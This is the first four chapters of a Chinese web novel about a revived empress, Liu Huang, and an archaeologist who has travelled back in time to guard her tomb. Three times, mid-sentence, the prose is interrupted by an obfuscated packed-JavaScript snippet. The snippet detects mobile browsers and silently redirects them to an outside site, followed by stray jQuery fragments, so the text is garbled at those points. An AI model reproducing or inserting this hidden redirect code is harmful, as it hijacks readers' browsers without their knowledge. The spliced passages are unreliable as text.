《当我死去三十年》 1. 帝陵 直至棺椁拖入狭长的甬道,众人才意识到—— 一代人主刘煌是真的死了。 沉重的墓门轰然封死,土泥夯实。 陪葬的殉人身披袈裟,长跪朱玄的四重漆棺前,口中颂念佛经。 钵声空灵,在鬼魅的墓室里刹刹然流转,声声催魂,越逼越紧。 当墓内最后一盏长明灯熄灭之时,棺室内的佛经声断了。 女帝刘煌,长眠于此。 她的陵墓相较于其他帝王,修得简陋,随葬寥寥,但壁画满天,画的都是她。 生前刘煌便知道,自己注定会留名青史。 她不是古来第一位女主,却是第一个弑父夺位的。 寻常的帝王对弑君弑父讳莫如深,屡次找史官修改起居录,遮遮掩掩。 对此,刘煌从不辨言,甚至要求史官写本纪时如实所记,务必列上这一条。 十年前,她一剑刺破血亲的头颅,也挑破了南汉的天,笼罩南汉上空的恐怖统治终于结束。 迎来了长达十年的平和。 刘煌很满意。 少年践祚,在位十年,崩于盛时,葬于无名,不至晚年昏聩,死后失节。 唯一留给后世的礼物,便是一个国强民富的南汉。 从此,谢幕绝唱,再不复问地上事。 多好,妙哉。 最好墓中还有个老和尚,天天颂经,在墓里热闹。 每当听见此语,身旁肌如雪花的礼官便笑:老和尚没有,小和尚要么? 臣有件袈裟,若陛下喜欢届时臣身披袈裟,随陛下而去,同茔同穴,同眠而葬。 传闻,这位内庭礼官自愿做殉人,是真生葬了。 但墓内之事,平头百姓已不得而知。 除开盗墓的,也没人敢挖开帝陵看是真是假,只是这么虚虚实实地传着。 死后第三年,新皇帝将刘煌灵牌移出太庙,认为其身为公主,和亲归京,弑父僭位,不忠不孝,牝鸡司晨,实难为正。 帝陵地上祭庙遂除。 史官判词:后宫淫|靡,仍不失为中兴之主。 死后第四年,提笔的史官被枭首。 判词被抹去后半句,只余四字:后宫淫|靡。 死后第五年,新皇被弑,朝局大乱。 死后第十五年,岁大饥,人皆相食,民心不复…… 生前,刘煌没从文官那里得过什么好名声,死后,无一人不怀念她、怀念她还在的时候。 那时的日子平和、无趣,过得让人腻烦,但,总比如今担惊受怕能不能活到明日强。 她在位的十年,众臣皆以为是南汉中兴的开始,却不曾料,这竟是南汉王朝最后一抹余晖。 末尾三十年,南汉如踩风火轮,连刀带火滚进炼狱。 旧臣死散,石像生隐,战火中,帝陵位置下落不明,再不可考。 女帝刘煌,她身上留下太多的疑团。 像层层化不开的浓雾,都随凄风苦雨,掩埋入大业十年的坟茔之中。 后世阅史,唯见一句“后宫淫|靡”。 后宫淫|靡的昏君,治世十年海晏河清? 有人信,有人不信。 英雄白骨,红颜枯冢,百代的光阴过去,一切赋予后人评说。 除非,她的陵墓有再度开启之日。 亦或是,她本尊亲自从土里爬出来…… * 崇德五年秋,雨,距离帝陵被正式发掘还有一千零五年。 伏檀就是在这一年穿进来的。 一千年前的雨幕里,长江进入雨季,湍急奔流,月色不见,暗夜如鬼。 阴啾啾的阴风里,火光忽隐忽现,蜿蜒在山路间,火光幽幽近了,两张枯黄饥瘦的脸凑在光下,怀中揣着洛阳铲与黑布包袱。 伏檀认得这种装束,是两个平平无奇的盗墓贼。 摸金这等活,通常都是一村一村的干,十个盗墓的九个是亲戚组团,尤其是盗帝陵,大工程,寻常不会只有两人。 “三哥,你说女皇帝的坟真在此处?” “寻龙尺指出位了,跟着走就是。” “你这寻龙尺三十几年没用了,能准么?” 女帝在时明禁摸金,那时世道好,李家兄弟弃暗投明,开了间豆腐铺,铺子生意很兴旺,旺到李家后来只饿死了五口人。 啃完四日前的一餐死人肉,勉强裹腹后,李家兄弟拿起了洛阳铲,重操旧业。 不为何,这世道,活人都要活不下去了,哪管死人安生。 忽有风动,万籁泠泠作响,一根枯竹枝垂落,轻飘飘贴到小李郎足下,他赤脚一踩。 折枝脆声一蹦。 “有鬼……!有鬼……!” “噤声!”老李头呵幺弟一嘴,“人肉都啖过了,尸堆也躺过了,胆是一点不长。” “再说,有鬼又如何?”老李头下墓多,各种风吹草动都见怪不怪,擦了擦牙。 “鬼能比饿死骇人?鬼现得了身吗?鬼敢现身吗?” 话音落,灯灭人现—— 山巅之上,一袭惨白衣袍,翩然翻飞。 不说话,飘飘荡荡地僵直着。 李家兄弟吓破了胆。 老李头两股战栗,抖着腿多瞟一眼。 不看不打紧,山上立着的那物什白袍上是深浅不一的污糟黑黄,土泥尽染。 活像刚从土里爬出来的。 诡异的手肿如羊肠,面容幽媚,似裹了一层画过的绝艳尸皮,雨里淋得湿透。 再细一看,这是张男人的脸。 若放在村里,定是位白面书生,可荒郊野坟,不该存在此等美艳的事物,这不合常理。 不属于阳世的艳骨立在死物堆成的墓土之上,如同生食人魄的精魅,愈是美艳,愈是怖相丛生。 而后,白袍下灰白肿胀的手皮被蜕了下来。 “是殉人……是女皇帝的殉人爬出来了!” 惊愕划破雨夜。 伏檀脱完扒过泥泞的手套,眸光朝来人身上逡巡而去—— 洛阳铲、探墓针、方头铲。 一千多年了,自己所在的考古队还用着这老三样,只不过换成了电动的。 三个月前,他还在女帝陵的考古工地当廉价苦力清土,晃眼间就来到崇德五年的同一个地点,感受怎么也不算好。 求饶声传到耳边。 伏檀回身,带着湿淋淋的雨汽披离而来,李家兄弟在地上不住地磕头,口中念念着饶命。 他拖行着白袍渐行渐近。 一身雨味,淡淡弥散入夜色。 “饶命、饶命,小民无意惊醒郎君……实在灾年是活不下去了……” 说完,小李头见眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16405542|184442||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 前偌大一个白影,险些魂飞天外,老李头咽了咽喉稳住心神,壮胆撩起遮眼的乱发一看,那一袭白衣的上段起伏着,身上的水汽还蒸着。 有呼吸! 这是个热乎的大活人! 再看伏檀手中的铲子。 “敢情是同门啊!” 闹了半日,自己人吓自己人。 “……这位……这位小兄台莫非也是同道中人?”老李头按道上的规矩作揖。 作为一名正式收编的考古队员,伏檀感受到了侮辱。 “我?与你们,同道中人?” “你们挖了多少?” 小李头口无遮拦:“我兄弟二人方才寻到东面,打了两日打不通,这才来南面探看的。” 他指向土山东面,一处回填的浅坑在雨水里冒着泥沙。 伏檀表情揶揄,“那个盗洞原来是你们打的?” 不知为何,老李头触觉到某种不可名状的愠怒。 “一人独挖不若一同下墓,郎君可愿与我二人同行?如今外有贼寇内有墓障,地下灯灭人死,寻得财宝也不好带,你与我们尚能有个照应。”老李头勉力怀柔着。 少顷,伏檀开口:“可以,但你们打错了。” “郎君寻到墓口了?” 面前的人脸白如昙,鸦睫扫下一道盖过眸色的阴影,声容沉静:“我带你们过去。” “是、是!郎君先下墓!” “此事若成,定美酒美人招待郎君!”老李头已打定了事后把人宰作口粮的心思,嘴上满口春风。 “要什么美人,郎君自己就是美人。”小李郎奉上洛阳铲,一脸讨乖。 转瞬之间,罡风利落。 小李头被自己交出的洛阳铲敲昏在地,老李头还没反应过来,呼天旋地间,眼前一黑。 两声拍瓜般的落地响。 伏檀撇掉洛阳铲,抹去唇上的湿雨,摸了根藤条将地上的李家兄弟捆了,丢进离帝陵远之又远的山林里,自生自灭去。 穿来崇德五年的乱世三月有余,伏檀很庆幸自己上的是副身强体健的身体。 这具身体与自己的面容九成相似,没有姓氏,没有名字。 守墓世家隐姓埋名,不取名与字。 从前追随女帝一路影护的暗卫在旧主驾崩后,不愿服侍新主,自发削籍守墓,从此与帝陵长往,不知所踪。 穿进南汉国前夕,伏檀的确在帝陵附近发掘过一些同时代的人居。 只是还没等他和同事研究透彻,自己就成了故事里的守墓人,这张瑰丽画布上的一块拼图。 作为第二代守墓人、昔日女帝暗卫的后人,加上前世在考古队多年清土挖道的工作经验,伏檀不仅身体硬朗,且对周遭地形了如指掌。 守陵成了他日复一日的苦修。 但是,守的是刘煌的陵,他不得不认命。 在没有加入考古队时,他就已认识她。 在她的陵墓尚未被发现前,她就已种在他心底。 前半生为她的“掘墓人”,后半生为她的守墓人。 这个女人,枷住了自己的一生。 磅礴雨势褪去,山脚一缕炊烟,伏檀走出避雨的芭蕉树,霁波盈盈。 他回望来时的帝陵一眼,遁入山下月夜。 远去的帝陵里,墓室之内,沉寂三十年的棺椁发出一丝声响。 2. 出棺 大业十年,宣帝,崩。 ——《南汉.宣帝本纪》如是说。 身为公主时的刘煌不会想到她日后会有弑君弑父,更不会想到自己会以帝王之尊撒手人世。 生前烈火繁花,死后极尽哀荣。 她自然也不知晓千年之后,一名少年用手托举着她的真迹归国的故事。 关于女帝亲笔所写的诏书被后人出土、又在某段艰苦岁月里掠夺至异国他乡,被当地华人伏氏家族拍下捐赠回国、列为国宝云云。 那都是后话了。 现在的人尚想不到身死百年后发生的事,古人就更想不到千年后会有一群怪胎,为了让他们随意写过的一张纸回归祖国而不惜付出鲜血。 就像刘煌也想不到自己没有位列仙班、没有下入阴曹地府,而是重活一遭。 日月轮转,星霜屡移。 她在地底长眠,与埋葬她的那座大山一起安息。 山峦是岿然的钟罩,树林是持仗的高僧,拦住任何搅扰女帝清梦的匪徒。 地面铁骑纷乱,兵戈震天,刘煌躺在宁静的棺木里,无知无觉,无喜无悲,一如胎儿回到了母亲的羊水中。 好久没有睡得如此尽兴了。 自从登基为帝,每日都是磊成小山的奏疏,刚批完睡不出几个时辰,早朝了。 以至于刘煌生前每日眼下吊着两团乌青,怨念很大。 礼官总要嬉弄她:陛下这是眼下有山河,眼底装山河。 但登上高楼,听着重楼的挂灯声、十年复建的民居热闹熙攘,刘煌又忽觉,这桩买卖很值。 有哪个帝王不希望在自己的位置上有点建树? 只是不知道,她耗尽心血守护的山河,如今,是何模样了…… * 积水的棺木上,最后一层棺盖板发出一声吱扭。 几串珠玉状的气泡从死人口端浮上水面,沉寂不知多少岁月的棺液第一次有了波动。 有一只手,探入棺中,摸上棺内女尸半腐的尸身。 刘煌清晰地感觉到,自己僵化的脚踝处传来一股活人双手的温热,猛地睁眼。 望见一张脸。 ——一张陌生男人的脸,戴着乳白色半遮住口鼻的奇怪覆面,身上穿着袍子般严严实实防护的奇装异服。 他对上她,眼底划过一抹见到美玉的惊异,手中拿着探量的仪器记录着什么。 好大胆,竟敢直视天颜! 刘煌当即出手掌掴,却发现身体动弹不了。 周身的意识在棺木揭开刹那溃散,弥漫于一迭又一迭棺液之中…… 忽然,画面远去,开棺之人的神容变得模糊散乱,一切化作水面晃动的散影。 凌乱、空洞。 沉于黑暗…… 再次睁眼时,她感到身骨轻飘飘的,悬在半空。 低头,是一间从未见过的通明馆室。 方才掀开自己棺木的男人正坐在桌前,用一把小刷子,细腻扫着墓中提取的壁画。 刘煌飘下来,完成了想做的掌掴。 然而无济于事,她半透明的身躯径直穿过了对方,只带起一阵无主的微风。 光闪了几下。 正在修复壁画的男人似有所感,却看不见她。 这时,刘煌才看清他手边的壁画。 千年的时光侵蚀,壁画剥落,画中人原本俊美窈窕的身影失去眉眼在内的大半块脸,笼罩了几分阴森、恐怖。 这是她? 这可怖的模样竟然是她? 那便更不能让人看见了,她想捂住男人双眼,谁知对方目不转睛地盯着壁画上她褪色的残躯,似被吸魂。 刘煌感到冒犯,又掀起一阵掌风,男人着急忙慌去整理吹乱的资料。 桌上的《宣帝本纪》被微风轻轻翻动,停在属于她的扉页—— 宣帝刘煌,后宫淫|靡。 她在故事的终点看着自己的一生,身旁的男人也在出土的文物里,看着她的一生。 她记起来了。 她是宣帝刘煌。 是南汉的公主、她和过亲、弑过父、做过皇帝。 然后呢?然后死了。 再金枝玉叶、天之骄子,都不过腐气裹尸,死同庶人,生前涌动无数风云之人,也必会被风云涌动。 记忆潮水般汹涌而至,头痛欲裂。 刘煌的魂魄几乎要被撕成碎片。 周身白光熠熠,再不见任何人的存在…… …… 砰,沉重的棺木被推开,从里伸出一只手来。 刘煌按动棺内机关,彻底从半挪的棺盖中探出胳膊。 一只年轻、红润的手进入视线。 这是……她现在的手? 她浑浑噩噩地摸着恢复到年少时的躯壳,脑中仍在纠缠着方才那个光怪陆离的梦。 梦里的男人她不认识,梦里的场景她更是没见过,莫非自己这副躯壳真会如梦境中一般被人开馆启坟? 那个男人…… 脑中一阵眩晕,耳鸣伴随疼痛而至,梦中人的脸逐渐模糊。 刘煌摸上自己的脸,打算搜搜棺内有无陪葬的铜鉴照下容颜,却不知铜鉴长什么样。 许久,摸出一个铜绿色老到掉漆的万字纹圆形铜块,再一看正面,镜面已完全生锈。 她下意识想随手扔掉,鬼使神差地,忽而想到梦里的那些穿着防护服挖掘自己坟墓的人,竟依稀升起一股此物对自己是废铜烂铁、对他们则貌似异常珍贵的预感。 铜鉴没有扔,被安安分分摆回了棺材内。 梦里的棺椁积了一箱的棺液,眼下的棺椁内空空荡荡,棺壁粘着些许水珠,俨然在缓缓凝水。 怕是再过上不少年,最终会变成梦中那口水棺。 刘煌舒了口气,好险,在被人开棺前醒来,也不知外面的天下如何了。 可惜刚要直起身子,她便撞到了千斤重的天。 椁室的盖板是自己的礼官亲自敲定的,上好的漆木,层层封死,绝配。 刘煌有冤无处喊。 她不会要成为头一个在自己的墓里活活闷死的墓主了吧? 一阵窸窸窣窣的翻找,椁室内皆是份量不轻的铜鼎、铜甑、银豆金灯,不知哪来的茜红锦袍险些绊了她一个趔趄。 终于,在一堆轻巧的书简掩埋下,一道方正的孔洞若隐若现。 受楚地巫风影响,南汉的葬制常会在椁壁开一方孔洞,巫觋扶灵施法,以便魂魄进出。 孔洞的大小原是无法令大多成人进出的,万幸,刘煌身骨退回了年少时,比死前略窄些,刚刚好卡出孔洞。 除下厚重繁复的寿衣,她屏住呼吸,冒着风险小心翼翼钻出了棺椁。 老尸刚出棺,就差点被一股难以言喻的腥臭薰晕。 墓室黑黢不见五指,阴冷刺骨,宛如冰窖,像是死了百来只耗子,腐气淤积不散。 刘煌捏住鼻尖,忍着呕欲摸黑前行,除了在棺椁正前方隐约撞到一尊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16405543|184442||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 直挺挺的物什外,沿途一路非常顺利。 还好自己不是什么贪图享乐的皇帝,没让人将墓穴建太深。 用工匠退离的小道走出墓室,刘煌才发现,裙摆不知何时被勾破了,甚至划破了她的腿肚,锋利的血口子若隐若现。 想来是那具撞到的物什勾的。 一声鸡鸣划破长空,山色空蒙,幽兰生咽,郁青的竹叶滴露清响,她深深吸一口山气入肺,墓内憋闷的不适顿然疏解。 这一世,她不是皇帝了。 ——“阿九,朕一直很想看看,自己铸造的天下是什么样的。” ——“陛下铸造的天下,自然是华灯美屋,鳞次栉比。” ——“那你,能替朕看一眼吗?” 耳畔响起前世与礼官的对话,刘煌禁不住笑出声。 当年百尺明堂之上,她诉说着自己的希翼,无数次满怀希望想看一看自己经手的世界,也曾幻想过来生百年后,望一眼没有见过的河山。 现在,她统统能见到了。 刘煌新奇地打量着被秋色点染了每一层叶的乌桕、草垛里一触则闭的含羞草,随林间黄莺哼唱着宫内的礼乐,缓缓向山下走去。 墓泥侵染女帝的衣袍,她一身污糟,形同乞儿,看不出男女,过路之人避之不及。 或者说,此地根本没有什么人。 有的只是残垣断瓦,以及路边散落的灰白骨骼。 刘煌不知走了多久,日头偏西都没找到一处客舍落脚,昏黄的天里,这具几十年没活动的筋骨终于支撑不住倒下。 迷迷糊糊间,她掉入水中。 霎时睁眼,自己已经身处一口大锅,兵痞在锅底生火烧水,锅内的人哀嚎着。 肉香从另一口已经煮沸的锅中传来,食弃的女阴散落墙根,木桩子做的烧架上,烤着半熟的婴孩,烹香扑鼻。 水中的孩童帖着刘煌的衣角嚎哭,可她什么也做不了。 手被绑缚着,动弹不得,周身的水在不断加热、窒息。 就在锅水开始冒汽之际,一把长矛飞来,刺破陶锅,锅身破裂,刘煌连人带脚滚落山坡,回望一眼山上,集结的民兵正与吃人的士兵交战。 * “醒了醒了!” 有人在擦着她的脸,她听见孩童闹腾的呼喊。 “谢天谢地,我就说阿嬷拜庙有用。” “这位就是在锅里护我的姊姊。”女娃娃勾起刘煌的手,举向身旁的老妪。 小小的人已换上一身干净衣裳,全然不见在锅里哭喊的模样,刘煌嗓音沙哑地咳了几声,被人扶住。 “恩人刚发了场热,不宜下地。” 祖孙二人将刘煌按到床上,透过狭矮的窗子,她望见了屋外守着的民兵。 这是处自守自卫的小村落,自女帝走后,新帝即位,宗室相残,兵伐四起,社会的秩序一朝崩塌,史料里只言片语的崇德五年,不知囊括了多少人命。 好几日了,刘煌从无尽的恍惚中回神。 女娃娃一边替床榻上沉默寡言的阿姊端药,一边咿咿呀呀地吵着老妪要听故事。 “那你答应阿嬷,听完就去睡。” “听好了,从前啊,有个和你一般大的女娃娃,她是天子的女儿,宫里的公主,女娃娃长大了,做了皇帝,阿嬷是个大姑娘时,在城里见过她。” “现在呢现在呢阿嬷?” 老妪垂眸,仿佛陷入对美好而逝去的时代的怀念,“她死了,死在了三十年前。” 3. 壁画 关于女帝生平的探讨,在千年后将会掀起一场风暴。 伏檀带着她的诏书归国时旁观了这场风暴。 流落在外的国宝回归,掀起了国人对这位女帝的好奇。 “女帝刘煌”一直是南汉盛极而衰的节点,而围绕在她身上的未解之谜远不止一个。 从她被先皇派遣去和亲到大业元年弑父登基,这一段史料竟语焉不详。 与她和亲的是谁?为何先皇没有挑宗室女去和亲而是派了最疼爱的公主?后人只在遗留下来的史料里只道她和亲三年突然弑父,突然登基,其余无从考究。 随着几年后帝陵被发现、发掘,种种不合常理的现象更是浮出水面。 陵墓棺椁有人为打开的迹象,但盗墓贼并未深入此处,也无现存史料佐证女帝曾被二度开棺,更奇怪的是,最里层的棺盖有从里面挪动的痕迹。 就好像有人曾从棺内爬出来过。 身为考古人,伏檀自然不信有什么怪力乱神,但当第一束探照灯打进墓门的时候,众人被眼前恢宏的壁画震撼了灵魂。 入眼的壁画巨幅连篇,一行人如被吸睛,久久伫立。 满天宫闱,高山重楼,碧落磅礴,尽显盛时气象,仿若步入一卷千年前的长轴古画,只不过每一帧,都有一抹红妆倩影点缀。 画的皆是同一人。 这些壁画的出土直接为古代建筑史、服饰考据做出了巨大贡献。 包括墓内的书信古籍,将不少失传的孤本重新带入人们的视线。 伏檀耐心修复着残缺的壁画,壁画上的女子也陪伴他,渡过修复部里无数个枯燥的日夜。 自年少时,他便在异国的博物馆里见过她。 那是盗墓贼从她的墓中强硬挖掉的壁画一隅,漂洋过海,摆放在私人博物馆的玻璃橱里,被不属于自己国家的文字介绍着。 最后两笔点在眼下的两颗泪痣落成,笔落惊风。 他感觉画中人在看他。 然而此刻,千年后身处于风暴中心的墓主人——刘煌,正躺在床上发高热,一无所知。 困倦化作泪水洇出她的眼尾,滋润眼下两颗精巧的泪痣。 晕乎烧了几日,女娃娃在又一次听完女帝的传奇后为她喂药。 “阿嬷!禾女姊姊退烧了!” 禾女,刘煌如今给自己取的名字。 每缝宫妃诞子,宫中会摆满当季盛开的花,帝女煌出生那年,南汉迎来丰年,稻米流脂,粟米白硕,一片稻禾香里,她呱呱坠地。 皇帝大喜,以为吉兆,赐名煌。 苏醒以后,刘煌或多或少地从祖孙二人口中听闻了自己的故事。 ——她受宠、她荒淫、她残暴、她仁政,她爱民如子同时也杀许多的人,她对人好又不好。 当然,属于宣帝刘煌的荣光、争议、传闻,统统与一名叫禾女的贫农女没有任何干系了。 现在的她寸步难行。 村里刚经历饥荒,每人每日至多一餐粮,女娃娃饿得头大,身子瘦骨嶙峋,像只骷髅,却每日雷打不动地喂她药。 “你……为何要对我那么好?” “姊姊救过我呀。”女娃娃转着孺犬般湿漉漉的眼,缺了颗牙笑着。 “虽然姊姊没有说,可我知道的,在锅里的时候姊姊一直偷偷把我顶起来,你们大人干过的事我都懂!” 刘煌想回些什么,可病了几日的躯壳使不上一丝气力。 “庙里发了义粥,姑娘趁热吃罢。”老妪搀起她。 白粥鲜稠,冒着热汽,只是碗边沾了些许土星子。 从前吃惯了山珍海味的皇帝,第一次吃糠糟时险些吐出口,今日再吃,竟如仙露。 一粒粒细米浮在汤碗中,很快见了底。 见她整个人直愣愣吞着粥,喝得大汗淋漓,老妪上手往她额间一擦。 突如其来的接触将刘煌吓一跳,屈身躲开。 在宫里,哪个不要命的敢触碰天子的额头,那可是要人头点地的,尤其是如此亲昵、暖融、带着泥土芳的触碰,她不适应地扭开头。 半晌又挪过来,别别扭扭地道了声谢。 “我再去给姊姊熬药!”叫阿婴的女娃娃蹦跳着接过药碗,被刘煌扶住肩头。 “不必,我伤好大半,不必再浪费药料。” “不浪费的阿姊,你莫要忍着。” “别嫌我们多事啊姑娘,你从山坡摔得那么狠……还是让阿婴给你熬一碗稳妥。” “你们的药是何处买的?” 刘煌起先便怀疑了,药比粮米更稀缺值钱,缺粮的村落竟能给她一连上几日药。 四壁土墙,空空漏风,阿婴嘿笑:“庙里,不要钱。” “庙里?” 阿婴频频点头,“阿姊你病好还是阿嬷去庙里求了神仙呢,是不是阿嬷?” 发旧的袍角被小手来回拽动,老妪蔼然摸摸孙女的头,相视一笑。 “庙里偶尔有行脚僧发药,姑娘贵人有吉相,赶上了日子。” “多喝些药吧,姑娘,你爹娘若见你受苦也不会好受的。”老妪不知她经历了什么,见她一介孤女只觉心疼。 “我爹……早被我杀了……”刘煌呢喃。 “你说什么?” “没事,我梦魇了。”刘煌擦擦脸。 老妇缓了神色,“别怕,阿婆带你去庙里拜拜,庙里神仙好,能驱邪。” “我也去,阿嬷,这次我带阿姊去。”阿婴端着药进来,一听要去庙里,来劲了。 “你还小,兵荒马乱的,叫你乱跑。” 兵荒马乱一词传进耳中,刘煌不自觉捏紧袖口。 “可是我也想去看神仙嘛。”阿宁哼咛。 “好好,这次阿嬷带你们两个一起,你答应阿嬷,不许乱跑。” “阿嬷?”刘煌不熟练地叫出口,歪头观量着,确认自己叫的称呼不逾礼,“敢问庙里贡的是哪位神仙?” 对于民间土神她了解不甚多,大多是从礼官口中听说的。诸如泰山的后土娘娘、闽地的妈祖、卖药的何仙姑等等,她很喜欢听各地神仙的风闻,比宫里礼佛要有意思得多。 这么个施粥放药的庙,想来庙里供奉的神仙应当极受世人尊崇。 “那还用说?”阿婴举起两只手臂,从头顶到脚比划了个筐人的大圆圈,“大——神仙!” 江河日下,人心向古,现世无望时,神佛反而大兴,古今通理。 刘煌记得她临朝时神鬼之事尚没什么人在意,各人有点闲暇全忙手头上的事了。 她一路走,阿婴一路在她裙下跳着。 村东头水患,今年秋,五谷颗粒无收,不少人被洪水冲毁了房屋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16405544|184442||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,失田失粮,城里已没有贫农的安栖之所,村东的破庙成了流民仅剩的盖身的一片瓦。 “依照《汉律》,若因天灾损减良田,县官应呈报刺史开放义仓,以一亩一岁粮产调拨赈粟,所毁屋舍亦上报户部,此地县官是何人?” “县爷说了,一斗官粮,二十两。” 刘煌吸气,她定规时分明是不要钱的。 “买不起啊,姑娘,我们买不起。” “阿姊,庙到了。” 一间破庙立在眼前,匾额倾斜看不清字,庙门的松树已歪着脖子枯死,刘煌打眼望去,里头黑压压的一片。 人头攒动,有男有女,头顶沾着褐黄的泥灰,发缝间偶尔爬出被油闷出的虱子。 破庙中央拥堵不堪,成群的人跪在泥塑的神像前,磕头祈愿,如附在窝巢的蝼蚁。 哭泣的妇人搂着婴孩在神坛下不住地磕头,一旁,病骨支离的老人双目混浊,生死只隔一张席子。 “他们在拜什么?”刘煌征征地。 宫内每缝大小节便会祈福点灯,礼佛敬神,她对佛庙的摆设手感异常熟悉,然而这间寺庙的触感不像佛庙,也不似道门。 “在拜——女帝刘煌。” 话音落,神灯燃,神像隐藏在昏暗中五官被照亮,一张骤然放大的眉眼占据刘煌的视线。 台上神像恬然,台下生老病死。 “自从女帝走后,年光就一年不复一年了,”老妇一瘸一拐走到刘煌身边,“新皇即位就杀了自己的兄弟姊妹,那年京城的雨都带着血,宗室死了,皇帝死了,武将来了,还不如女帝朝。” “……” “你不是说自己梦魇了吗?来拜拜。” 柳茸紧紧凝着神像未动,阿婴已经在跪在地上磕头。 “我又磕一个,阿嬷,是不是我磕得越多爹爹就越好了?”女娃娃高兴大喊。 阿嬷说爹爹是脱离了人间去了好地方,天上有女帝,女帝会护着爹爹的。 “别哭、别哭啊阿姊,我不抢你的位置了,给你磕好吗?” 听到这句话,刘煌如梦初醒,从恍恍然的状态中走出,指端往脸上一抹,摸到一丝温热的凝珠。 她,哭了? 或许是神像扑面而来的眉眼太过震魄,或许是肉眼凡胎在泥做的雕塑前对比得惨烈,不堪一击,这具肉身本能地从体内挤出泪。 刘煌遥遥站在神坛前,望着那张陌生又熟悉的眉眼,心中陡然升起一股不真切感。 那不像她的面容,乡野土民没见过皇帝,依照着对圣人的想象临画出她的模样。 除了眼下有两颗痣,哪一处都不像她。 一如她的天下,也不似他们说的那样清平。 “水灵灵的一个女娃娃,哭了就不好看了,女帝在天上看见你会心疼的。”老妪擦掉她的泪珠。 ——“陛下铸造的天下,自然是华灯美屋,鳞次栉比。” 阿九,你在骗我。 根本没有你说的华灯美屋。 “她看不见。”刘煌淡道。 老妪一怔,“怎么会呢,来,把脸擦净,多讨人喜欢。刘煌女帝啊,庇佑每个子民,她自在天上看着你的。” “不,看不见的,”刘煌木然仰望着神像,“因为她从前,是个瞎子。” 她是个皇帝,却是个瞎子。 4. 变故 灵帝生的公主是个盲女。 降生数月后,发现公主不能视物的灵帝大怒,如此尊贵的煌字竟浪费在一个身有残缺的公主身上。 灵帝没有再来看过襁褓中的孩子,连同生了公主的宫娥,一起遗忘在深宫。 那些在宫娥得宠时潮水般涌来的宫仆,又潮水般退去。 按礼制,公主该摆百日宴了,但帝王也没有说,众人也就没有提。 直到煌公主七岁那年,灵帝五十大寿,所有子女殿前谒贺,一张张熟悉到腻烦的脸似一颗颗流星在帝王面前划过,他只是略略点头。 昏聩庸老的帝王坐在殿上,无趣地观着众生百相,但见队伍末尾,一只美丽的黄雀在寂冷的宫里扑闪着雏翅,朝他一蹦一蹦地跑来。 灵帝眼前一亮。 生出公主的宫娥,灵帝已记不起是哪个了,他早年励精图治,不近女色,晚年报复性般补偿着自己的肉|体,欢好过的女人很多。 是哪一场情事催生出了这位公主?又是何原因赐名为煌?她的生母是否也如她雪亮明媚? 记忆是模糊的,模糊到他甚至想不起有过这么一断情缘。 是夜,煌公主不再是煌公主,赐封“永阳公主”。 在一众芳宁、玉林、清宁的封号中,永阳煌公主一出,众人当即心知肚明。 从前服侍公主的礼官以苛待皇族治罪,连夜问斩,心疼的帝王仍不解恨,又指派三千扈从从抬手到走路伺候着过去饱尝自己冷落的女儿。 那些潮水般撤去的宫仆又聚过来了,然而公主一一遣散。 唯独留下一名年岁相仿的小礼官。 她不需要那么多人,她可以自己走路。 倒是可以留一个人,分担阿娘照顾她的辛劳,做她的眼睛。 这个人不能是大人,大人太爱以自己有事撇下她了。 这个人最好有一双明亮的眸子。 阶下血污腥烈,公主步下玉阶,对着地上屡次私逃而被鞭成血人的小礼官伸出手。 问:做我的眼睛好不好? 从此,公主多了一双眼睛。 那双名为阿九的眼睛一直陪在公主身侧,寸步不离。 下阶时他是公主的扶手,飘雨时,他是公主的伞,骑马时,他跪在马前四体着地,只为她能践踏自己而上。 眼睛会和主人同死,他曾说届时身披袈裟为其墓内诵经。 他?一个最怕死的人来做殉人? 想想便知是说笑。 死人说开了是一团腐肉,以生人殉腐肉,没有必要。 也不知故人现下如何了? 刘煌揉揉腿肚。 墓内割破的伤口隐隐作痛。 破庙神坛下,流民饥黄着脸,或躺或跪,眼眶里是一双双黑窟窿般灰蒙的眼。 刘煌被挤到仅剩的空地,抬头,神像近在咫尺,低眉若菩萨,慈悯的目光分在庙内每个人身上。 她朝着那座一点也不像自己的神像,跪了下去。 自己磕自己,说不出的怪异,自己能求自己什么呢。 “女帝庇佑,姑娘的梦魇会好的。”老妪领着她磕头。 “阿嬷,”刘煌轻轻唤着她,“他们在求什么?” 有人披麻戴孝抬着一卷草席入庙,摆在神像下,抚着长条的草席跪下,口中念念着至亲的名字,额头磕得殷红。 老妪叹口气,捂住刘煌的眼:“别看。” “……走了好啊,走了好,”老妪垂首喃喃,草席里的人是青白着脸,眼膜瘀血浑浊,“女帝在天之灵,会来接他的。” 